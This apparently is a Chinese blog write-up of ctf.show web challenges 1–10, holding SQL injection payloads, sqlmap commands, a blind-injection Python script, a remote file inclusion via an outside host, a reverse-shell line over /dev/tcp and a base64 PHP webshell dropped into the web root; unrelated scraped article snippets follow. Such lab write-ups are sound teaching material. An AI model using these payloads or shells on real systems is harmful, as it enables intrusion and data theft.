ctf.show刷题记录_web(1-10)

2023-10-30

ctf平台(ctfshow)

`https://ctf.show/

1、签到

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

解题:base64解码
ctfshow{0da357d0-359b-47e1-80dc-5c02212725e5}

2、web2

在这里插入图片描述

解题:

正常页面:
在这里插入图片描述

输入用户名admin,密码admin' or '1'='1
回显ctf.show
判断存在注入

在这里插入图片描述

尝试构造注入:
order by 无回显
直接sqlmap跑
python sqlmap.py -r 1.txt -D web2 -T flag  -C flag --dump

在这里插入图片描述
3个字段,返回来再看一下

a' union select 1,2,3 #

在这里插入图片描述

a' union select 1,database(),3 #

在这里插入图片描述

获取表:
a' union select 1,
(select group_concat(table_name) from information_schema.tables
where table_schema='web2')
,3 #

在这里插入图片描述

获取列
a'  union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag"#

在这里插入图片描述
获取字段值

a' union select 1,flag,3 from flag#

在这里插入图片描述

flag:

 ctfshow{a6e55c61-0c5e-4dcf-9c52-b51fb25f72b0}

3、web3

看题,属于代码审计文件操作漏洞

根据代码判断,最典型的远程文件包含漏洞

<?php
     include($_GET['url']);
?>

利用方式有两种:

1、远程包含

利用:在GET请求url参数里面传入

http://1ffe697e-987a-4286-9d14-32abe70c8f16.challenge.ctf.show/?url=http://1.x5.134.x:8001/1.txt

在这里插入图片描述

2、PHP输入输出流的利用方式

远程文件包含还有一种PHP输入输出流的利用方式,可以直接执行POST代码,这里我们仍然用上面这个代码测试,只要执行POST请求

http://1ffe697e-987a-4286-9d14-32abe70c8f16.challenge.ctf.show/?url=php://input

pastdata:


<?php phpinfo(); ?>

在这里插入图片描述

3、获取flag

php常见命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
 <?php system('cat  ctf_go_go_go index.php'); ?>

在这里插入图片描述

在这里插入图片描述
flag:

ctfshow{bc8731d7-5aa0-47b8-a924-ba8d5a6bd651}

4、ctf.show_web4

页面和web3一样,那大概率是命令执行函数绕过

在这里插入图片描述
读取index.php内容为

"; highlight_string($code); ?>

1、尝试反弹shell没成功

 <?php system('bash -i >& /dev/tcp/1.11.11/8111  0>&1'); ?>

2、尝试写马

查看/etc/passwd

http://53a63a9e-657e-4a48-8053-8b501fb6d4a1.challenge.ctf.show/?url=/etc/passwd

在这里插入图片描述
查看请求头是nginx中间件
在这里插入图片描述

通常nginx默认安装是在/etc/nginx/
网站配置文件是/etc/nginx/nginx.conf
先执行命令ls /etc
在这里插入图片描述
看起来有戏

 <?php system('cat  /etc/nginx/nginx.conf'); ?>

找到网站根目录,直接写马

 <?php system(' cd /var/www/html ; echo "PD9waHAKZXZhbCgkX1BPU1RbInBhc3MiXSk7Cg==" |base64 -d >111.php'); ?>

在这里插入图片描述

在这里插入图片描述在上级目录中找到flag

ctfshow{85899f1b-0e05-40ee-906d-b0dbfef12a28}

在这里插入图片描述

5、ctf.show_web5

ctf.show_web5
where is flag?
<?php
error_reporting(0);
    
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

</body>
</html>

1、题目分析

ctype_alpha ( $text );它检查提供的字符串,文本中的所有字符是否都是字母, 如果在当前语言环境中 text 里的每个字符都是一个字母,那么就返回TRUE,反之则返回FALSEis_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE

这题我之前在ctf实验吧做过,基本一样

https://blog.csdn.net/szgyunyun/article/details/98591782
\\v1:必须是字母,不能为空
\\v2:必须是数字或数字字符串、浮点数
满足md5(v1)==md5(v2)就输出flag

2、md5加密相等绕过 原理:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

3、解题


QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
http://27ad0f4a-0e55-42bd-94fa-0495e9b1ef63.challenge.ctf.show/?v1=QNKCDZO&&v2=240610708

4、flag

ctfshow{151dfc36-36f3-40ab-83ac-00a36ff2a708}

6、ctf.show_web6

1、题目分析注入

在这里插入图片描述在这里插入图片描述

2、尝试

发现加空格就拦截

在这里插入图片描述
直接用/**/代替空格, username=admin'/**/or'1'='1&password=admin'/**/order/**/by/**/100#确定存在注入
在这里插入图片描述
3、order by无回显,直接sqlmap跑延时盲注

.\sqlmap.py -r .\1.txt  --tamper space2comment.py  -v 3 -D web2 -T flag -C flag --dump

在这里插入图片描述

7、ctf.show_web7

1、判断存在注入

/index.php?id=1%27/**/or/**/1=1

在这里插入图片描述

2、order by判断字段个数为3

/index.php?id=1'/**/order/**/by/**/2#
/index.php?id=1'/**/order/**/by/**/4#

在这里插入图片描述
在这里插入图片描述

/index.php?id=1%27/**/union/**/select/**/1,2,3#

在这里插入图片描述

3、暴库、报表、包子段

/index.php?id=1%27/**/union/**/select/**/1,database(),3#

在这里插入图片描述
获取表

/index.php?id=1'/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

在这里插入图片描述
获取字段

/index.php?id=1%27/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#

在这里插入图片描述
获取字段值

/index.php?id=1%27/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

在这里插入图片描述

4、flag

ctfshow{770c8d4d-3194-4515-a4ca-17cee85840d4}

8、web8

在这里插入图片描述

1、测试

/index.php?id=1'
/index.php?id=1/**/and/**/1=2#
报错
单引号、and被过滤了用or测试
/index.php?id=1/**/or/**/1>2#
/index.php?id=1/**/or/**/1<2#

在这里插入图片描述

在这里插入图片描述

2、order by 、判断3个字段

/index.php?id=1/**/order/**/by/**/4#

在这里插入图片描述

/index.php?id=1/**/order/**/by/**/3#

在这里插入图片描述

3、提示说得写工具那肯定过滤了部分语句

测试了一下

union过滤了、and过滤了、单引号、逗号过滤了!!!!

那我直接bool盲注一下试试

利用substring函数和ascii函数搞。。。substring函数无需逗号。
SUBSTRING(str,pos)
SUBSTRING(str FROM pos)
SUBSTRING(str,pos,len)
SUBSTRING(str FROM pos FOR len)

示例:
mysql> Select SUBSTRING('foobarbar' FROM 4 FOR 5);
+-------------------------------------+
| SUBSTRING('foobarbar' FROM 4 FOR 5) |
+-------------------------------------+
| barba                               |
+-------------------------------------+
1 row in set (0.00 sec)

逗号绕过

// substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97;

// substring() 逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97;

// mid() 逗号绕过
select * from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97;

// limit 逗号绕过
select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 offset 1;

4、payload

获取数据库长度:

/index.php?id=-1/**/or/**/length(database())>1#

获取当前数据库:

/index.php?id=-1/**/or/**/ascii(SUBSTRING(database()/**/from/**/1))>1000#

在这里插入图片描述

/index.php?id=-1/**/or/**/ascii(SUBSTRING(database()/**/from/**/1))>1#

在这里插入图片描述

获取表个数(3个) :

/index.php?id=-1/**/or/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())>1/**/#

在这里插入图片描述

获取第一个表长度(4):

/index.php?id=-1/**/or/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/0))>1#

group_concat获取table_name(3个表每个长度4,跑16位就可以):

/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/1))>1#

先跑第一个表,是flag那后边也不用跑了
在这里插入图片描述

获取字段):

count flag表字段数量(1个)

/index.php?id=-1/**/or/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")=1#

length flag表字段长度(4)

/index.php?id=-1/**/or/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/1/**/offset/**/0))>1#

获取 flag列名(4)

/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")from/**/1))>1

获取字段内容):

5、编写脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import requests
import time
aaa="A Child's Dream of a Star"

#len_payload = '/index.php?id=-1/**/or/**/length(database())>1#'
# 跑数据库
def database1():
    for lenth_number in range(1,10):
        url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show/'
        len_payload='/index.php?id=-1/**/or/**/length(database())={0}#'.format(lenth_number)
        url = url + len_payload
        #print(url)
        rest = requests.get(url).text
        if aaa in rest:
            print("database_lenth_payload:",len_payload,"\n","database_lenth:",lenth_number)
            break
    # print(lenth_number)
    database_result = ''
    for i in range(1,lenth_number+1):
        time.sleep(0.5)
        for j in range(31,129):
            url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
            payload="/index.php?id=-1/**/or/**/ascii(SUBSTRING(database()/**/from/**/{0}))={1}#".format(i,j)
            url = url + payload
            #print(url)
            rest = requests.get(url,timeout=10).text
            if aaa in rest:
                database_result += chr(j)
                #print(chr(j))
                break # 跳出循环
    print("database:",database_result)

#table_number_payload="/index.php?id=-1/**/or/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())>1/**/#"
def table_number1():
    for i in range(0,30):
        table_number_payload="/index.php?id=-1/**/or/**/(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())>{0}/**/#".format(i)
        url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
        url = url + table_number_payload
        rest = requests.get(url, timeout=10).text
        if aaa not in rest:
            table_number=i
            print("table_number:",i)
            return table_number
            continue

#跑第一个flag表
def table_name1():
    table_name = ''
    for x1 in range(1,5):
        for x2 in range(31,129):
            table_name_payload = '/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{0}))>{1}#'.format(
                x1, x2)
            url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
            url = url + table_name_payload
            #print(url)
            try:
                rest = requests.get(url).text
            except:
                print("请求超时")
                time.sleep(1)
                rest = requests.get(url).text
            if aaa  not in rest:
                #print(chr(x2))
                table_name = table_name+chr(x2)
                break
    print("table_name:",table_name)
    return table_name
# table_name1()
def colunms1():
    colunms_name = ''
    for c1 in range(1, 5):
        for c2 in range(31, 129):
            colunms_len_payload = '/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")from/**/{0}))>{1}#'.format(
                c1, c2)
            url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
            url = url + colunms_len_payload
            #print(url)
            try:
                rest = requests.get(url).text
            except:
                print("请求超时")
                time.sleep(1)
                rest = requests.get(url).text
            if aaa not in rest:
                #print(chr(c2))
                colunms_name = colunms_name + chr(c2)
                break
    print("colunms_name",colunms_name)
    return colunms_name

a=database1()
b=table_number1()
c=table_name1()
d=colunms1()
flag = ''
for v1 in range(1, 46):
    for v2 in range(31, 129):
        payload = '/index.php?id=-1/**/or/**/ascii(SUBSTRING((select/**/flag/**/from/**/flag)from/**/{0}))>{1}#'.format(
            v1, v2)
        url = 'http://36dea89b-965a-44d3-af96-d552f4d4eac4.challenge.ctf.show'
        url = url + payload
        #print(url)
        try:
            rest = requests.get(url).text
        except:
            print("请求超时")
            time.sleep(1)
            rest = requests.get(url).text
        if aaa not in rest:
            #print(chr(v2))
            flag = flag + chr(v2)
            break
print("flag:", flag)

在这里插入图片描述

9、web9

半天没找到思路,百度了一下,发现爆破目录有个index.phps,后来发现robots.txt里边就有




<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

函数分析


mysqli_fetch_assoc()
<?php 
// 假定数据库用户名:root,密码:123456,数据库:RUNOOB 
$con=mysqli_connect("localhost","root","123456","RUNOOB"); 
if (mysqli_connect_errno($con)) 
{ 
    echo "连接 MySQL 失败: " . mysqli_connect_error(); 
} 
 
$sql="SELECT name,url FROM websites ORDER BY alexa";
$result=mysqli_query($con,$sql);
 
// 关联数组
$row=mysqli_fetch_assoc($result);
printf ("%s (%s)\n",$row["name"],$row["url"]);
 
// 释放结果集
mysqli_free_result($result);
 
mysqli_close($con);
?>

题目分析

如果执行sql结果$result返回行数>1,登录成功就输出flag,那么
唯一可以sql注入的地方就是md5($password,true)这个地方。

语法

md5(string,raw)
参数 描述
string 必需。要计算的字符串。
raw 可选。默认不写为FALSE。32位16进制的字符串 TRUE。16位原始二进制格式的字符串

大佬们的解读:

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ’ \ ‘后面的3个字符连同’ \ '算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。
这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ’ ‘字符。6f就是对应‘ o ’。

然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = ‘admin’ and password = '‘or’6�]��!r,��b’

为什么password = ''or’6�]��!r,��b’的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

这个字符串也是符合要求的。因为它含有‘or’8 ,但是这里限制了长度。

那我们从正向推算一下,要怎么得到我们要的答案。首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入。首先or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号

在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式,所以我们需要的字符串的原始二进制格式的字符串里要包含 ‘or’ ,如果根据原始二进制来找到我们要的字符串可能会比较麻烦,那么可以根据32位16进制的字符串来查找,根据上面介绍的, ‘or’ 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的,接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx
————————————————
版权声明:本文为CSDN博主「March97」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/March97/article/details/81222922

解题:

ffifdyop

10、web10

题目分析

尝试注入发现过滤了and注入敏感字符,从sql注入入手没找到思路,结合第9题,发现了index.phps源码。开始构造绕过payload并写脚本。




<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>


过滤内容如下

select|from|where|join|sleep|and|\s|union

解题思路

想到username = ‘$username’";没过滤or/**/‘1’='1构造永真,但是

	if($password==$row['password']){

这里做了防护,回传的password需要和输入的password一致只能想办法绕过。
绕过:想办法让回传的password需要和输入的password一致

用到的小技巧

select * from department where DepID=1 or 1=1

在这里插入图片描述

用到with rollup

with rollup:在所有记录的最后加上一条记录,
显示select查询时聚合函数的统计和计算结果
select * from department where DepID=1 or 1=1 
group by DepID with rollup;

在这里插入图片描述
这样返回的password就是null了我们输入passord的地方也输入为空就可以了

构造payload

sql

$sql="select * from user where username = ' 'or 1=1 group by password with rollup #'";

payload:

'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctf.show刷题记录_web(1-10) 的相关文章

  • 通过名称获取进程ID

    我想在 Linux 下获得一个给定其名称的进程 ID 有没有一种简单的方法可以做到这一点 我还没有在 C 上找到任何可以轻松使用的东西 如果追求 易于使用 char buf 512 FILE cmd pipe popen pidof s p
  • GCC 详细模式输出解释

    我是 Linux 新手 谁能向我解释一下我的 hello world 程序的以下详细模式输出 另外 这些文件是做什么用的crt1 o crti o crtend o crtbegin o and crtn o and lc and lgcc
  • Linux 中的 Windows NAmed Pipes 替代品

    我们正在将现有的 Windows 代码移植到 Linux 我们使用 ACE 作为抽象层 我们使用 Windows 命名管道与多个客户端进行通信并执行重叠操作 linux 下这个相当于什么 我检查了linux命名管道 FIFO 但它们似乎只支
  • 如果文件修改日期早于 N 天

    此问题涉及在文件的修改日期早于这么多天时采取行动 我确信创建日期或访问日期会类似 但对于修改日期 如果我有 file path name to some file N 100 for example N is number of days
  • 如何使用 PyAudio 选择特定的输入设备

    通过 PyAudio 录制音频时 如何指定要使用的确切输入设备 我的电脑有两个麦克风 一个内置 一个通过 USB 我想使用 USB 麦克风进行录音 这流类 https people csail mit edu hubert pyaudio
  • PHP mail() 函数不发送邮件

    我有一个小问题 我正在使用一个工作脚本 在我的测试帐户 共享服务器上工作 使用 mail 函数通过 PHP 发送邮件 我刚刚得到了一个专用服务器 但我还无法让该功能发挥作用 在过去的 10 个小时左右的时间里 我阅读了有关 BIND 用于
  • X 按键/释放事件捕获,与焦点窗口无关

    我想记录所有传入的按键事件 无论哪个窗口处于焦点状态或指针位于何处 我编写了一个示例代码 它应该捕获当前焦点窗口的按键事件 include
  • 从文件中随机采样行

    我有一个大约 40gb 和 1800000 行的 csv 文件 我想随机采样 10 000 行并将它们打印到一个新文件中 现在 我的方法是将 sed 用作 sed n vars lt input txt gt output txt Wher
  • Flex 的远程版本误解了我的规则

    我使用 flex 和 bison 编写了一个小汇编程序 可以在我的机器 ubuntu 10 10 上构建并运行正常 现在其他人正在尝试在 arch linux 上构建它 并且他们安装的 flex 产生了不同的 lex yy c 这是不匹配的
  • tar.gz 和 tgz 是同一个东西吗? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我创建了 tgz 文件tar czvf filecommand then 我最终得到了一个 tgz 文件 我想知道它和tar gz 之间的
  • 在 MacO 和 Linux 上安装 win32com [重复]

    这个问题在这里已经有答案了 我的问题很简单 我可以安装吗win32com蟒蛇API pywin32特别是 在非 Windows 操作系统上 我一直在Mac上尝试多个版本pip install pywin32 都失败了 下面是一个例子 如果你
  • 如何从 Linux 命令行确定 LCD 显示器是否打开

    如何通过 Linux 命令行判断计算机的显示器是否打开 关闭 我传统上认为显示器是仅输出的设备 但我注意到 Gnome 显示器首选项对话框具有 检测显示器 功能 这可以推广到确定显示器是否物理关闭吗 VESA DDC 连接是I2C http
  • 期待、互动,然后再次期待

    有几篇关于相同内容的帖子 但我仍然无法使我的期望脚本正常工作 我的目的是自动化一切 但保留用户输入的密码 所以脚本有 3 个部分 自动登录 给予用户交互以输入密码 将控制权交还给 Expect 脚本以继续工作 所以我有一个将生成的脚本 其中
  • 在 bash 中快速引用 stdout(即上一个命令的输出)?

    有没有办法快速 例如通过键盘快捷键等 引用写入到 stdout 的上一个命令的输出 例如 如果我这样做 which rails 它回来了 usr local bin rails然后我想在 textmate 中打开该文件 我可以像这样重新输入
  • 在Linux中将日期附加到文件名

    我想在文件名旁边添加日期 somefile txt 例如 somefile 25 11 2009 txt 或 somefile 25Nov2009 txt 或任何类似的内容 也许脚本或终端窗口中的某些命令可以执行 我正在使用Linux Ub
  • 为什么“script”命令会生成 ^[ 和 ^M 字符以及如何使用 vim 搜索和替换删除它们?

    在linux上 使用bash shell 当我使用script命令时 生成的文件称为typescript 当我用 vim 打开该文件时 每一行都包含 M字符 并且有几行 由于我的彩色命令提示符 包含一个字符 我想用任何东西替换这些字符 从而
  • 如何编写 bash 函数来包装另一个命令?

    我正在尝试编写一个函数包装器mysql command If my cnf存在于 pwd 中 我想自动附加 defaults file my cnf到命令 这就是我正在尝试的 function mysql if e my cnf then
  • Linux mremap 不释放旧映射?

    我需要一种方法将页面从一个虚拟地址范围复制到另一个虚拟地址范围 而无需实际复制数据 范围很大 延迟很重要 mremap 可以做到这一点 但问题是它也会删除旧的映射 由于我需要在多线程环境中执行此操作 因此我需要旧映射能够同时使用 因此稍后当
  • 将 bash 脚本作为守护进程运行

    我有一个脚本 它每 X 次运行我的 PHP 脚本 bin bash while true do usr bin php f my script php echo Waiting sleep 3 done 我怎样才能将它作为守护进程启动 要从
  • 如何清理 Runtime.exec() 中使用的用户输入?

    我需要通过命令行调用自定义脚本 这些脚本需要很少的参数并在 Linux 机器上调用 当前版本容易出现各种shell注入 如何清理用户给出的参数 参数包括登录名和路径 Unix 或 Windows 路径 用户应该能够输入任何可能的路径 该路径

随机推荐

  • 前端面试 - 项目流程

    目录 1 项目流程 2 项目角色 3 完整项目流程 4 项目沟通 5 PM想在开发过程中增加需求 该怎么办 6 项目即将延期了 该怎么办 7 你将如何保证项目质量 1 项目流程 1 项目分多人 多角色参与 2 项目分多阶段 3 项目需要计划
  • commons-pool2源码走读(四) 对象池实现GenericObjectPool

    commons pool2源码走读 四 对象池实现GenericObjectPool
  • Springboot实现短信验证登陆

    1 导入依赖
  • 商品评论表设计

    总共5张表 设计如下 create sequence SEQ TRADESCORE AUTOINC minvalue 1 maxvalue 9999999999999 start with 1 increment by 1 nocache
  • ListView获取当前最顶部的item

    ListView获取当前最顶部的item 1 private void setupContactsListView 2 lst addessbook setOnScrollListener new OnScrollListener 3 Ov
  • Python手册(Scientific Computing)--SymPy

    SymPy Symbol Python的简称 是一个用于符号数学的Python库 它旨在成为一个功能齐全的计算机代数系统 CAS 同时保持代码尽可能简单 以便易于理解和易于扩展 SymPy完全用Python编写 不依赖于外部库 Introd
  • PowerDesigner 模型类型介绍

    目录 PowerDesigner 提供了两种方式组织模型 分别是Categories和Model types 1 Categories方式是从企业架构建模角度出发 主要包含业务层 信息层 应用层 技术层 需求与规划层 1 1 业务层主要用于
  • tmux系列:2、tmux会话

    tmux系列 2 tmux会话 文章目录 tmux系列 2 tmux会话 1 前言 2 创建会话 3 状态栏 4 命令和标志 5 命令提示符 6 附加和分离 7 会话清单 8 完全杀死tmux 9 总结一下 1 前言 其实最开始时候我用tm
  • less两种转换方式

    一 浏览器端转换 link导入 less文件
  • 深聊全链路压测之:第二十二讲

    解决 GoReplay 动态数据关联 1 引言 2 中间件 2 1 什么是中间件 2 2 如何使用中间件 3 关联 3 1 什么是关联 3 2 关联回放实现 4 总结 1 引言 第二十讲 我们聊的是GoReplay平台的搭建 在私下里 不少
  • 使用html表单制作简单网页(加表单详细知识点)

    表单也是html非常重要的一块 常用于输入信息 进行信息的收集和提交 属性 action 信息提交地址 method 提交方式 get 信息拼接在地址中 不安全 post 信息打包发送 安全 select 下拉菜单 option 下拉菜单中
  • 无法获取 java Console 对象

    在eclipse环境中调用System console 获取Console对象 打印返回对象为空 反复试验都是相同结果 Console con System console if con null System out println co
  • 分布式系统:数据分区

    数据分区 每一条数据只属于某个特定分区 一个大数据集可以分散在更多的磁盘上 查询负载也随之分布到更多的处理器上 每个节点对自己所在分区可以独立执行查询操作 因此可以提高查询的吞吐量 通常一个节点负责几个分区 采用数据分区的主要目标是提高可扩
  • Python手势识别与控制

    代码地址如下 http www demodashi com demo 12968 html Python手势识别与控制 概述 本文中的手势识别与控制功能主要采用 OpenCV 库实现 OpenCV是一个基于BSD许可 开源 发行的跨平台计算
  • Spring Security集成knife4j访问接口文档出现403

    目录 问题描述 解决过程 问题描述 使用的springboot版本是2 3 12 RELEASE 引用的依赖如下
  • 搜索引擎的故事

    本篇要介绍的搜索引擎包括 Shodan censys 钟馗之眼 Google FoFa Dnsdb等 介绍的内容主要是这几款搜索引擎的一些高级语法 掌握高级语法会让搜索结果更准确 Google搜索引擎 这里之所以要介绍google搜索引擎
  • 日常开发中常用的JVM调优参数有哪些呢?

    下文笔者讲述JVM调优参数的简介说明 如下所示 Xms2g 初始化推大小为 2g Xmx2g 堆最大内存为 2g XX NewRatio 4 设置年轻的和老年代的内存比例为 1 4 XX SurvivorRatio 8 设置新生代 Eden
  • python找不到对象报错代码,python2.7源码安装方式

    安装python2 7 下载Python 2 7 下载地址 解压安装 tar xzvf Python 2 7 15 tgz cd Python 2 7 15 configure prefix opt local python enable
  • Ubuntu下安装MySQL 以及C++连接MySQL

    一 简单分享Ubuntu 16 04下安装MySQL的过程 首先执行下面三条命令 sudo apt get install mysql server 此步骤可以省略 已经启用docker mysql服务容器 sudo apt get isn
  • ctf.show刷题记录_web(1-10)

    ctf平台 ctfshow https ctf show 1 签到 解题 base64解码 ctfshow 0da357d0 359b 47e1 80dc 5c02212725e5 2 web2 解题 正常页面 输入用户名admin 密码a